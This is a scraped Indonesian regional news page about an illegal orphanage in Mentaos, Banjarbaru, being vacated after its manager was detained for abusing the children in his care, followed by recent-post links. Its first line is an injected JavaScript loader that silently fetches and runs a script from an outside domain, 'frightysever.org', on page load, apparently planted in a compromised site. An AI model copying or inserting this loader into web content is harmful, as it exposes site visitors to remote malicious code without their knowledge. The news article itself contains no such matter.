(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Deadline Senin, Perabot Panti Asuhan Griya Yatim di Mentaos Mulai Diangkut


KANALKALIMANTAN.COM, BANJARBARU – Panti Asuhan Griya Yatim Dhuafa di Jalan Pangeran Suriansyah Ujung, Kelurahan Mentaos, Kecamatan Banjarbaru Utara, Kota Banjarbaru, mulai memindahkan barang-barangnya.

Pemindahan ini menyusul ilegalnya keberadaan panti asuhan ini dan pengelola panti asuhan. Dimana mereka juga kedapatan melakukan penganiayaan terhadap anak asuhnya.

Disamping itu, Kelurahan Mentaos memberikan tenggat waktu hingga Senin (16/1/2023) untuk pihak pengelola panti asuhan mengosongkan tempatnya.

Di depan panti itu masih membentang garis peringatan, yang dipasang oleh personel Satpol PP Banjarbaru beberapa hari lalu.

 

Baca juga  : Polisi Tetapkan Tersangka Penganiaya Anak Yatim di Mentaos Banjarbaru

Anak sulung pengelola panti, A (20) mengaku sudah merapikan barang-barang itu sejak Kamis (12/1/2023) malam. Selanjutnya akan mereka bawa ke satu rumah kontrakan, yang ada di Jalan Trikora Banjarbaru.

Rumah kontrakan di Jalan Trikora itu ujarnya merupakan tempat tinggal teman orangtuanya.

“Ke rumah teman bapak di Jalan Trikora, sementara dibawa ke sana dulu,” katanya, Minggu (15/1/2023).

Dikatakannya, setelah rumah tersebut disegel, mereka perlahan mengemasi barang-barangnya, yang mana hingga hari Minggu ini sudah banyak barangnya yang dipindahkan.

Disebutkannya juga bahwa, rumah yang dijadikan panti asuhan ini merupakan rumah yang disewa dari seseorang hingga bulan Mei 2023 mendatang.

Baca juga  : Pakai Knalpot Brong, Belasan Kendaran Diseret ke Mako Polsek Banjarbaru Utara

“Sudah dibayar kontrakan ini sampai Mei, tapi karena ada desakan dari pihak lain maka kami pindakan barang-barang,” jelasnya.

Sebelumnya pengelola panti asuhan Griya Yatim Dhuafa dilaporkan ke pihak berwajib karena dugaan penganiayaan terhadap anak asuh, yang kemudian ditindaklanjuti dengan penutupan permanen terhadap panti asuhan ini oleh pihak kelurahan dan Satpol PP Banjarbaru.

Sedangkan untuk pengelola panti asuhan pasangan suami istri (Pasutri) SJ dan ET diamankan ke Mako Polres Banjarbaru guna penyidikan lebih lanjut. Kemudian, SJ sebagai bapak asuh anak yatim ini terbukti melakukan penganiyaan dengan dalih pembinaan. Namun, dengan cara berlebihan dan sekarang SJ sudah berada di Rutan Polres Banjarbaru.

“Ibu sekarang ada di rumah teman bapak, kondisinya Alhamdulillah sehat,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

8 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

10 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

11 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

15 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

16 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

16 jam ago

This website uses cookies.